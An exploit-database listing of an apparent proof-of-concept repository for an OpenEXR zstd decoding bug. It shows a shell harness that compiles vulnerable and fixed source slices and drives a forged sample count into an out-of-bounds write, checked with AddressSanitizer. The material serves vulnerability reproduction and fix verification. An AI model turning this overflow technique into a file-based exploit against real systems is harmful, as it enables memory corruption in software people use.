Exploit database

GH-77b084c651f84d76fe59d880f4600f96

genaforvena/mishe-tauftauf2shell

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

412 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files14

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/frontier/openexr2shell/harness/run.sh

Shell · 5,858 bytes
#!/bin/sh
# openexr2shell direct-call harness (GHSA-98rx-qpfv-qcwv, fix 7d7fbb1).
# Verbatim slices of pinned internal_zstd.c (v3.5.2 vulnerable / v3.5.3 fixed)
# and openexr_errors.h are included under #line control. The only harness
# stub is exr_coding_channel_info_t reduced to its bytes_per_element field,
# the sole field the pinned functions read. No EXR file, zstd stream, codec
# build, process, socket, wire or network is involved.
set -eu
HERE=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
SRC=$(CDPATH= cd -- "$HERE/../src" && pwd)
OUT="$HERE/evidence"
mkdir -p "$OUT"

gen_driver() { # variant
    v=$1
    if [ "$v" = vuln ]; then
        cs=257; ce=295; ss=441; se=480
    else
        cs=271; ce=309; ss=455; se=494
    fi
    f="$HERE/driver-$v.c"
    {
        cat <<'HEADER'
/* Generated by harness/run.sh. Pinned upstream bytes are under #line;
 * everything after the final #line is harness scaffolding. */
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* Harness stub: upstream exr_coding_channel_info_t has more members, but the
 * pinned functions below read only bytes_per_element (int8_t in v3.5.2). */
typedef struct {
    int8_t bytes_per_element;
} exr_coding_channel_info_t;

#line 31 "openexr_errors.h"
HEADER
        awk 'NR >= 31 && NR <= 69' "$SRC/openexr_errors.h"

        printf '\n#line %d "internal_zstd.c.%s"\n' "$cs" "$v"
        awk -v a="$cs" -v b="$ce" 'NR >= a && NR <= b' "$SRC/internal_zstd.c.$v"

        printf '\n#line %d "internal_zstd.c.%s"\n' "$ss" "$v"
        awk -v a="$ss" -v b="$se" 'NR >= a && NR <= b' "$SRC/internal_zstd.c.$v"

        if [ "$v" = fixed ]; then
            cat <<'FIXHEAD'

/* Harness caller context for the verbatim v3.5.3 guard below: these are the
 * same locals that exr_undo_zstd_v1() has in scope at this point. */
static int
fixed_guard (int chunk_line_count, int channel_count,
             const uint64_t* channel_sample_count_grid,
             const exr_coding_channel_info_t* pack_channels,
             uint64_t uncompressed_size, uint64_t split)
{
#line 1373 "internal_zstd.c.fixed"
FIXHEAD
            awk 'NR >= 1373 && NR <= 1394' "$SRC/internal_zstd.c.fixed"
            cat <<'FIXTAIL'

#line 1200 "driver-harness.c"
    return EXR_ERR_SUCCESS;
}
FIXTAIL
        fi

        cat <<'FOOTER'

#line 1300 "driver-harness.c"
/* ---------------- scenarios (harness scaffolding) ---------------- */

#ifndef __has_feature
#define __has_feature(x) 0
#endif
#if defined(__SANITIZE_ADDRESS__) || __has_feature(address_sanitizer)
#define HARNESS_ASAN 1
#endif

static void
run_case (const char* name, uint64_t nsamp, int8_t bpe, uint64_t unpacked)
{
    exr_coding_channel_info_t ch[1];
    uint64_t grid[1];
    uint64_t lookup[1];
    uint64_t split, total;
    int guard_rc = 0;
    char* in;
    char* out;
    size_t out_alloc;

    ch[0].bytes_per_element = bpe;
    grid[0] = nsamp;
    total = nsamp * (uint64_t) bpe;
    split = compute_sorting_lookup (grid, 1, ch, 1, lookup);

#ifdef FIXED_VARIANT
    /* Verbatim v3.5.3 guard runs before the inverse sort, as upstream. */
    guard_rc = fixed_guard (1, 1, grid, ch, unpacked, split);
#endif
    printf ("GUARD %s split=%llu total=%llu unpacked=%llu rc=%d\n",
            name, (unsigned long long) split, (unsigned long long) total,
            (unsigned long long) unpacked, guard_rc);
    if (guard_rc != 0)
    {
        printf ("CASE %s guard=reject rc=%d copies=0\n", name, guard_rc);
        return;
    }

    in = (char*) malloc ((size_t) total);
    if (!in) exit (2);
    memset (in, 0x5a, (size_t) total);
#ifdef HARNESS_ASAN
    /* Exact allocation: ASan redzone starts at byte unpacked. */
    out_alloc = (size_t) unpacked;
#else
    /* Plain build: 0xa5 canary past the declared unpacked_size so the
     * chosen 0x5a bytes can be read byte-exactly after the copy. */
    out_alloc = 8192;
#endif
    out = (char*) malloc (out_alloc);
    if (!out) exit (2);
    memset (out, 0xa5, out_alloc);

    /* forward == false is the decode direction: outPtr + readIndex is the
     * destination (uncompressed_data), inPtr + writeIndex the sorted source. */
    sort2_4ByteChannels_tiled (
        in, grid, ch, 1, false, 1, out, lookup);

#ifdef HARNESS_ASAN
    printf ("CASE %s guard=absent total=%llu copy=completed\n",
            name, (unsigned long long) total);
#else
    printf ("CASE %s guard=absent total=%llu b64=0x%02x b4095=0x%02x\n",
            name, (unsigned long long) total,
            (unsigned char) out[64], (unsigned char) out[4095]);
#endif
    free (out);
    free (in);
}

int
main (void)
{
    setbuf (stdout, NULL); /* ASan abort must not discard pre-abort CASE lines. */
    /* One FLOAT channel, 64x1 image: 16 samples -> 64 bytes == unpacked. */
    run_case ("baseline", 16, 4, 64);
    /* Forged sample-count table: 1024 samples -> grid total 4096 bytes into
     * a 64-byte uncompressed_data. All-FLOAT part => split == 0, so the
     * pre-existing `split > uncompressed_size` check is vacuous. */
    run_case ("oob-chosen", 1024, 4, 64);
    /* One HALF channel: split == total == 32; normal control. */
    run_case ("half-ok", 16, 2, 32);
    return 0;
}
FOOTER
    } > "$f"
}

gen_driver vuln
gen_driver fixed

build() { # compiler variant mode
    cc=$1; v=$2; mode=$3
    bin="bin-$cc-$v-$mode"
    flags="-O0 -g -Wall"
    if [ "$mode" = asan ]; then
        flags="$flags -fsanitize=address -fno-omit-frame-pointer"
    fi
    defs=""
    if [ "$v" = fixed ]; then defs="-DFIXED_VARIANT"; fi
    # shellcheck disable=SC2086
    "$cc" $flags $defs -o "$HERE/$bin" "$HERE/driver-$v.c"
}

for cc in gcc clang; do
    for v in vuln fixed; do
        for mode in plain asan; do
            build "$cc" "$v" "$mode"
        done
    done
done

printf 'generated 2 drivers and 8 binaries in %s\n' "$HERE"